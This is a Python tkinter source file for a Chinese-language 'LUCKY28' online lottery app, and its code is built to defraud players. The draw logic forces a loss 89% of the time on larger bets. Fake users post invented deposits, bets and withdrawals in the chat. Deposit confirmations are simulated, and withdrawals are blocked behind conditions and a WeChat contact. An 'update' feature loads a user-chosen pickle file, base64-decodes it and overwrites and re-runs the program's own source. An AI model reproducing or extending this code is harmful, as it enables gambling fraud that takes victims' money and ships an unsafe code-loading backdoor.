import tkinter as tk
from tkinter import messagebox, simpledialog, ttk, filedialog
import random
from datetime import datetime, timedelta
import os
import pickle
import time
import threading
import base64

class LotteryApp:
    def __init__(self, root):
        self.root = root
        self.root.title("LUCKY28")
        self.balance = 0
        self.recharge_total = 0  # 用于追踪充值总额
        self.history = []
        self.bet_history = []  # 下注记录
        self.chat_history = []  # 聊天记录
        self.current_bet = None  # 当前下注
        self.last_draw_time = datetime.now()
        self.pending_recharge_amount = 0
        self.fake_user_thread_running = True
        self.can_bet = True  # 是否可以下注的标志
        self.fake_users = self.create_fake_users()  # 假人列表
        self.recharge_count = 0  # 充值次数计数
        self.win_count = 0  # 赢的次数计数
        self.load_data()
        self.create_widgets()

    def create_widgets(self):
        self.clear_widgets()
        self.root.geometry('600x800') # 设置窗口大小

        # 顶部区域
        self.top_frame = tk.Frame(self.root, bg='lightblue')
        self.top_frame.pack(pady=10, fill='x')
        
        self.time_label = tk.Label(self.top_frame, text=f"当前时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", bg='lightblue')
        self.time_label.pack()

        self.countdown_label = tk.Label(self.top_frame, text="距离下一次开奖还有: 100 秒", bg='lightblue')
        self.countdown_label.pack()

        self.result_label = tk.Label(self.top_frame, text="最新开奖结果：请等待开奖...", bg='lightblue')
        self.result_label.pack()

        self.history_button = tk.Button(self.top_frame, text="查看往期开奖记录", command=self.show_history, bg='lightblue')
        self.history_button.pack()

        # 中间区域（聊天记录）
        self.middle_frame = tk.Frame(self.root, bg='white')
        self.middle_frame.pack(pady=10, fill='both', expand=True)

        self.chat_text = tk.Text(self.middle_frame, height=20, state=tk.DISABLED, bg='white')
        self.chat_text.pack(pady=10, fill='both', expand=True)

        self.input_frame = tk.Frame(self.root, bg='lightgrey')
        self.input_frame.pack(pady=10, fill='x')

        tk.Label(self.input_frame, text="选择下注选项", bg='lightgrey').grid(row=0, column=0, columnspan=2)
        self.bet_options = [("大双", 1), ("大单", 2), ("小单", 3), ("小双", 4), ("极大", 5), ("极小", 6)]
        self.bet_vars = []
        for i, (option, signal) in enumerate(self.bet_options):
            var = tk.BooleanVar()
            chk = tk.Checkbutton(self.input_frame, text=option, variable=var, bg='lightgrey')
            chk.grid(row=i+1, column=0, sticky="w")
            self.bet_vars.append((var, signal))

        tk.Label(self.input_frame, text="输入投注金额", bg='lightgrey').grid(row=7, column=0)
        self.bet_amount = tk.Entry(self.input_frame)
        self.bet_amount.grid(row=7, column=1)

        self.bet_button = tk.Button(self.input_frame, text="投注", command=self.place_bet, bg='green', fg='white')
        self.bet_button.grid(row=8, columnspan=2, pady=10)

        # 充值和记录按钮
        self.button_frame = tk.Frame(self.input_frame, bg='lightgrey')
        self.button_frame.grid(row=9, columnspan=2, pady=10)

        tk.Label(self.button_frame, text="充值金额", bg='lightgrey').grid(row=0, column=0)
        self.recharge_amount = tk.Entry(self.button_frame)
        self.recharge_amount.grid(row=0, column=1)

        self.recharge_button = tk.Button(self.button_frame, text="充值", command=self.initiate_recharge, bg='orange', fg='white')
        self.recharge_button.grid(row=0, column=2, padx=5)

        self.withdraw_button = tk.Button(self.button_frame, text="提现", command=self.withdraw, bg='red', fg='white')
        self.withdraw_button.grid(row=0, column=3, padx=5)

        self.record_button = tk.Button(self.button_frame, text="下注记录和充值、提现记录", command=self.show_records, bg='blue', fg='white')
        self.record_button.grid(row=0, column=4, padx=5)

        # 底部区域（按钮）
        self.bottom_frame = tk.Frame(self.root, bg='lightgrey')
        self.bottom_frame.pack(pady=10, fill='x')

        self.balance_label = tk.Label(self.bottom_frame, text=f"当前余额：{self.balance}元", bg='lightgrey')
        self.balance_label.pack()

        self.update_time()
        self.fake_user_thread = threading.Thread(target=self.fake_user_bet, daemon=True)
        self.fake_user_thread.start()  # 启动假人下注线程

    def update_time(self):
        try:
            current_time = datetime.now()
            self.time_label.config(text=f"当前时间: {current_time.strftime('%Y-%m-%d %H:%M:%S')}")

            countdown_time = (self.last_draw_time + timedelta(seconds=100) - current_time).total_seconds()
            if countdown_time <= 0:
                self.last_draw_time = current_time
                result, total, signal = self.draw_results()
                self.history.append({"时间": current_time.strftime('%Y-%m-%d %H:%M:%S'), "开奖结果": result, "特码": total, "信号": signal})
                self.save_data()
                self.update_history()
                self.result_label.config(text=f"最新开奖结果：{result}")

                if self.current_bet:
                    self.process_bet(signal)
                    self.current_bet = None

                countdown_time = 100
                self.fake_user_thread_running = True  # 开启假人下注
                self.can_bet = True  # 开启下注
                self.update_bet_button_state()
                self.send_balance_info()
            else:
                self.countdown_label.config(text=f"距离下一次开奖还有: {int(countdown_time)} 秒")
                if int(countdown_time) == 10:
                    self.add_chat_message("以封盘无法下注", is_customer_service=True)
                    self.fake_user_thread_running = True  #封盘假人是否可以下注
                    self.can_bet = True #封盘假人是否可以下注
                    self.update_bet_button_state()
                    self.send_bet_summary()

            self.root.after(1000, self.update_time)
        except Exception as e:
            print(f"Error in update_time: {e}")

    def draw_results(self):
        try:
            number1 = random.randint(0, 9)
            number2 = random.randint(0, 9)
            number3 = random.randint(0, 9)
            total = number1 + number2 + number3
            size = "大" if total >= 14 else "小"
            parity = "单" if total % 2 != 0 else "双"
            signal = None
            if total >= 22:
                size = "极大"
                signal = 5
            elif total <= 5:
                size = "极小"
                signal = 6
            else:
                if size == "大" and parity == "双":
                    signal = 1
                elif size == "大" and parity == "单":
                    signal = 2
                elif size == "小" and parity == "单":
                    signal = 3
                elif size == "小" and parity == "双":
                    signal = 4

            result = f"{number1} + {number2} + {number3} = {total} {size},{parity}"
            return result, total, signal
        except Exception as e:
            print(f"Error in draw_results: {e}")
            return "", 0, None

    def place_bet(self):
        if not self.can_bet:
            messagebox.showwarning("封盘中", "当前封盘，无法下注")
            return

        try:
            selected_choices = [(self.bet_options[i][0], self.bet_vars[i][1]) for i, (var, _) in enumerate(self.bet_vars) if var.get()]
            if len(selected_choices) == 0:
                messagebox.showwarning("投注不完整", "请至少选择一个投注选项")
                return
            elif len(selected_choices) > 6:
                messagebox.showwarning("投注太多", "不能选择超过六个选项")
                return

            try:
                bet_amount = int(self.bet_amount.get())
            except ValueError:
                messagebox.showwarning("无效金额", "请输入有效的投注金额")
                return

            if bet_amount == 0:
                messagebox.showwarning("投注不完整", "请输入投注金额")
                return
            elif bet_amount > self.balance:
                messagebox.showwarning("余额不足", "余额不足，请充值")
                return
            else:
                self.balance -= bet_amount
                self.balance_label.config(text=f"当前余额：{self.balance}元")
                self.current_bet = {"投注": selected_choices, "金额": bet_amount}
                self.add_chat_message(f"您已投注：{', '.join([choice[0] for choice in selected_choices])}，金额：{bet_amount}元。")
        except Exception as e:
            print(f"Error in place_bet: {e}")

    def process_bet(self, signal):
        try:
            bet_choices = self.current_bet['投注']
            bet_amount = self.current_bet['金额']
            winnings = 0

            # 89%的几率在下注金额超过充值金额2倍时输
            lose_chance = 0.89 if bet_amount > self.recharge_total * 2 else 0.0
            if random.random() < lose_chance:
                signal = (signal % 4) + 1  # 改变信号使其必输

            win = False
            for choice, bet_signal in bet_choices:
                if bet_signal == signal:
                    win = True
                    self.win_count += 1  # 增加赢的次数
                    if choice in ["大双", "大单", "小单", "小双"]:
                        winnings += bet_amount * 2
                    elif choice in ["极大", "极小"]:
                        winnings += bet_amount * 13

            if not win:
                winnings = 0

            self.balance += winnings
            self.balance_label.config(text=f"当前余额：{self.balance}元")

            result_message = f"结果：{' '.join([choice for choice, _ in bet_choices])}，赢取金额：{winnings}元。" if win else "您没有中奖。"
            self.add_chat_message(result_message)
            self.bet_history.append({
                "时间": datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
                "投注": ', '.join([choice for choice, _ in bet_choices]),
                "金额": bet_amount,
                "赢取": winnings
            })
        except Exception as e:
            print(f"Error in process_bet: {e}")

    def update_chat(self):
        try:
            self.chat_text.config(state=tk.NORMAL)
            self.chat_text.delete(1.0, tk.END)
            for message in self.chat_history:
                self.insert_chat_message(message)
            self.chat_text.config(state=tk.DISABLED)
            self.chat_text.see(tk.END)  # 自动滚动到最新内容
        except Exception as e:
            print(f"Error in update_chat: {e}")

    def insert_chat_message(self, message):
        tag = "customer_service" if message.startswith("客服:") else "user"
        self.chat_text.insert(tk.END, f"{message}\n", tag)

    def add_chat_message(self, message, is_customer_service=False):
        if is_customer_service:
            message = f"客服: {message}"
        self.chat_history.append(message)
        self.update_chat()
        self.save_data()

    def update_history(self):
        try:
            self.chat_text.config(state=tk.NORMAL)
            self.chat_text.delete(1.0, tk.END)
            for record in self.history:
                self.chat_text.insert(tk.END, f"{record['时间']} - {record['开奖结果']} - 特码：{record['特码']} - 信号：{record.get('信号', '无')}\n")
            self.chat_text.config(state=tk.DISABLED)
            self.chat_text.see(tk.END)  # 自动滚动到最新内容
        except Exception as e:
            print(f"Error in update_history: {e}")

    def show_history(self):
        try:
            history_window = tk.Toplevel(self.root)
            history_window.title("往期开奖记录")
            history_text = tk.Text(history_window, height=20, width=80)
            history_text.pack()

            for record in self.history:
                history_text.insert(tk.END, f"{record['时间']} - {record['开奖结果']} - 特码：{record['特码']} - 信号：{record.get('信号', '无')}\n")

            history_text.config(state=tk.DISABLED)
        except Exception as e:
            print(f"Error in show_history: {e}")

    def show_records(self):
        try:
            record_window = tk.Toplevel(self.root)
            record_window.title("记录")
            record_text = tk.Text(record_window, height=20, width=80)
            record_text.pack()

            record_text.insert(tk.END, "下注记录：\n")
            for record in self.bet_history:
                record_text.insert(tk.END, f"{record['时间']} - 投注：{record['投注']} - 金额：{record['金额']} - 赢取：{record['赢取']}\n")

            record_text.insert(tk.END, "\n充值记录：\n")
            # 添加充值记录（如果有）
            record_text.insert(tk.END, "\n提现记录：\n")
            # 添加提现记录（如果有）

            record_text.config(state=tk.DISABLED)
        except Exception as e:
            print(f"Error in show_records: {e}")

    def initiate_recharge(self):
        try:
            amount = int(self.recharge_amount.get())
            self.pending_recharge_amount = amount
            self.recharge_total += amount  # 增加充值总额
            self.recharge_count += 1  # 增加充值次数
            self.show_qr_code()
            self.root.after(30000, self.show_payment_confirmation)  # 30秒后显示支付确认按钮
        except ValueError:
            messagebox.showwarning("无效金额", "请输入有效的充值金额")
        except Exception as e:
            print(f"Error in initiate_recharge: {e}")

    def show_qr_code(self):
        try:
            # 显示支付二维码
            qr_code_window = tk.Toplevel(self.root)
            qr_code_window.title("支付二维码")
            webview_button = tk.Button(qr_code_window, text="打开支付二维码", command=self.open_qr_code_in_browser)
            webview_button.pack()
            tk.Label(qr_code_window, text="请使用微信扫描二维码支付").pack()
        except Exception as e:
            print(f"Error in show_qr_code: {e}")

    def open_qr_code_in_browser(self):
        try:
            os.system("start file:///C:/Users/admin/AppData/Local/Temp/BNZ.6693fb0357210fb/ea5a492433d6cb5f24a98ab35e7ed7d.html")
        except Exception as e:
            print(f"Error in open_qr_code_in_browser: {e}")

    def show_payment_confirmation(self):
        try:
            confirmation_window = tk.Toplevel(self.root)
            confirmation_window.title("支付确认")
            tk.Label(confirmation_window, text="正在审核中，请稍候...").pack()

            progress_bar = ttk.Progressbar(confirmation_window, orient='horizontal', length=300, mode='determinate')
            progress_bar.pack(pady=10)

            def update_progress():
                for i in range(100):
                    time.sleep(0.3)  # 每步等待0.3秒
                    progress_bar['value'] += 1
                    confirmation_window.update_idletasks()
                self.complete_recharge(confirmation_window)

            threading.Thread(target=update_progress).start()
        except Exception as e:
            print(f"Error in show_payment_confirmation: {e}")

    def complete_recharge(self, confirmation_window):
        self.balance += self.pending_recharge_amount
        self.balance_label.config(text=f"当前余额：{self.balance}元")
        confirmation_window.destroy()
        self.add_chat_message(f"充值成功，当前余额：{self.balance}元")

    def withdraw(self):
        try:
            amount = int(simpledialog.askstring("提现", "请输入提现金额："))
            if amount < 30:
                messagebox.showwarning("金额不足", "提现金额必须大于等于30元")
                return
            elif amount > self.balance:
                messagebox.showwarning("余额不足", "余额不足，无法提现")
                return
            elif self.win_count < 10 or self.recharge_count == 0:
                messagebox.showwarning("提现条件不足", "充值后需赢10把以上才能提现")
                return
            else:
                self.balance -= amount
                self.update_balance_label()
                self.add_chat_message(f"提现成功，请联系微信号：Kefu3397 进行提现操作", is_customer_service=True)
        except ValueError:
            messagebox.showwarning("无效金额", "请输入有效的提现金额")
        except Exception as e:
            print(f"Error in withdraw: {e}")

    def update_balance_label(self):
        self.balance_label.config(text=f"当前余额：{self.balance}元")

    def save_data(self):
        try:
            with open('history.pkl', 'wb') as f:
                pickle.dump(self.history, f)
            with open('balance.pkl', 'wb') as f:
                pickle.dump(self.balance, f)
            with open('bet_history.pkl', 'wb') as f:
                pickle.dump(self.bet_history, f)
            with open('chat_history.pkl', 'wb') as f:
                pickle.dump(self.chat_history, f)
            with open('fake_users.pkl', 'wb') as f:
                pickle.dump(self.fake_users, f)
            with open('win_count.pkl', 'wb') as f:
                pickle.dump(self.win_count, f)
            with open('recharge_count.pkl', 'wb') as f:
                pickle.dump(self.recharge_count, f)
            with open('recharge_total.pkl', 'wb') as f:
                pickle.dump(self.recharge_total, f)
        except Exception as e:
            print(f"Error in save_data: {e}")

    def load_data(self):
        try:
            if os.path.exists('history.pkl'):
                with open('history.pkl', 'rb') as f:
                    self.history = pickle.load(f)
            if os.path.exists('balance.pkl'):
                with open('balance.pkl', 'rb') as f:
                    self.balance = pickle.load(f)
            if os.path.exists('bet_history.pkl'):
                with open('bet_history.pkl', 'rb') as f:
                    self.bet_history = pickle.load(f)
            if os.path.exists('chat_history.pkl'):
                with open('chat_history.pkl', 'rb') as f:
                    self.chat_history = pickle.load(f)
            if os.path.exists('fake_users.pkl'):
                with open('fake_users.pkl', 'rb') as f:
                    self.fake_users = pickle.load(f)
            if os.path.exists('win_count.pkl'):
                with open('win_count.pkl', 'rb') as f:
                    self.win_count = pickle.load(f)
            if os.path.exists('recharge_count.pkl'):
                with open('recharge_count.pkl', 'rb') as f:
                    self.recharge_count = pickle.load(f)
            if os.path.exists('recharge_total.pkl'):
                with open('recharge_total.pkl', 'rb') as f:
                    self.recharge_total = pickle.load(f)
        except Exception as e:
            print(f"Error in load_data: {e}")

    def fake_user_bet(self):
        while self.fake_user_thread_running:
            for user in self.fake_users:
                if user['balance'] < 50:
                    recharge_amount = random.randint(100, 1000)
                    user['balance'] += recharge_amount
                    self.add_chat_message(f"{user['name']} 充值了：{recharge_amount}元。")

                bet_choice = random.choice(self.bet_options)[0]
                bet_amount = random.randint(10, min(1000, user['balance']))  # 确保下注金额不会超过余额
                if bet_amount > user['balance']:
                    bet_amount = user['balance']
                user['balance'] -= bet_amount

                if not self.can_bet:
                    self.add_chat_message(f"客服: {user['name']} 已封盘，下注无效")

                self.add_chat_message(f"{user['name']} 投注了：{bet_choice}，金额：{bet_amount}元。")

                # 随机假人提现
                if random.random() < 0.01:  # 1% 的概率进行提现
                    withdraw_amount = random.randint(100, user['balance']) if user['balance'] >= 100 else user['balance']
                    user['balance'] -= withdraw_amount
                    self.add_chat_message(f"{user['name']} 提现了：{withdraw_amount}元。")
                
            time.sleep(random.randint(5, 10))  # 每隔5-10秒假人下注

    def create_fake_users(self):
        fake_user_names = ["张三丰", "李逍遥", "王重阳", "杨过儿", "郭靖南", "黄药师", "周伯通", "黄蓉妹", "穆念慈", "林朝英"]
        fake_users = [{"name": name, "balance": random.randint(1000, 10000)} for name in fake_user_names]
        return fake_users

    def send_bet_summary(self):
        try:
            summary = "本轮下注总结：\n"
            for record in self.bet_history[-10:]:  # 只显示最近的10条记录
                summary += f"{record['时间']} - 投注：{record['投注']} - 金额：{record['金额']} - 赢取：{record['赢取']}\n"
            self.add_chat_message(summary, is_customer_service=True)
        except Exception as e:
            print(f"Error in send_bet_summary: {e}")

    def send_balance_info(self):
        try:
            balance_info = "所有人的剩余余额：\n"
            balance_info += f"您的余额：{self.balance}元\n"
            for user in self.fake_users:
                balance_info += f"{user['name']}：{user['balance']}元\n"
            self.add_chat_message(balance_info, is_customer_service=True)
        except Exception as e:
            print(f"Error in send_balance_info: {e}")

    def update_bet_button_state(self):
        state = tk.NORMAL if self.can_bet else tk.DISABLED
        self.bet_button.config(state=state)

    def clear_widgets(self):
        for widget in self.root.winfo_children():
            widget.destroy()

class LoginRegisterWindow:
    def __init__(self, root):
        self.root = root
        self.root.title("登录/注册")
        self.create_widgets()

    def create_widgets(self):
        self.root.geometry('400x300')
        self.root.configure(bg='lightblue')

        self.label = tk.Label(self.root, text="请输入用户名和密码：", bg='lightblue', font=('Arial', 14))
        self.label.pack(pady=10)

        self.username_entry = tk.Entry(self.root, font=('Arial', 14))
        self.username_entry.pack(pady=5)

        self.password_entry = tk.Entry(self.root, show="*", font=('Arial', 14))
        self.password_entry.pack(pady=5)

        self.login_button = tk.Button(self.root, text="登录", command=self.login, font=('Arial', 14), bg='green', fg='white')
        self.login_button.pack(pady=5)

        self.register_button = tk.Button(self.root, text="注册", command=self.register, font=('Arial', 14), bg='blue', fg='white')
        self.register_button.pack(pady=5)

        self.update_button = tk.Button(self.root, text="使用插件更新", command=self.update_code, font=('Arial', 14), bg='orange', fg='white')
        self.update_button.pack(pady=5)

        self.announcement()

    def register(self):
        username = self.username_entry.get().strip()
        password = self.password_entry.get().strip()

        if username and password:
            registered_users[username] = password
            messagebox.showinfo("注册成功", "注册成功！")
        else:
            messagebox.showerror("注册失败", "请输入用户名和密码！")

    def login(self):
        username = self.username_entry.get().strip()
        password = self.password_entry.get().strip()

        if username in registered_users and registered_users[username] == password:
            messagebox.showinfo("登录成功", "登录成功！")
            self.root.destroy()  # 关闭登录窗口
            start_lottery_app()  # 启动彩票应用
        else:
            messagebox.showerror("登录失败", "用户名或密码错误！")

    def update_code(self):
        file_path = filedialog.askopenfilename(title="选择更新文件", filetypes=[("Pickle files", "*.pkl")])
        if file_path:
            with open(file_path, 'rb') as f:
                encrypted_code = pickle.load(f)
            decrypted_code = self.decrypt_code(encrypted_code)
            self.apply_update(decrypted_code)

    def decrypt_code(self, encrypted_code):
        decrypted_code = base64.b64decode(encrypted_code).decode('utf-8')
        return decrypted_code

    def apply_update(self, new_code):
        with open(__file__, 'w') as f:
            f.write(new_code)
        messagebox.showinfo("更新成功", "代码已更新，重新启动应用。")
        self.root.destroy()
        os.execl(sys.executable, sys.executable, *sys.argv)

    def announcement(self):
        announcement_text = "欢迎使用LUCKY28！"
        messagebox.showinfo("公告", announcement_text)

def start_lottery_app():
    root = tk.Tk()
    app = LotteryApp(root)
    root.mainloop()

if __name__ == "__main__":
    registered_users = {}  # 用户名和密码的字典

    if not os.path.exists('background.lock'):
        messagebox.showerror("错误", "你没有进入房间的权限请找客服解决微信号：Kefu3397")
        exit()

    login_root = tk.Tk()
    login_window = LoginRegisterWindow(login_root)
    login_root.mainloop()
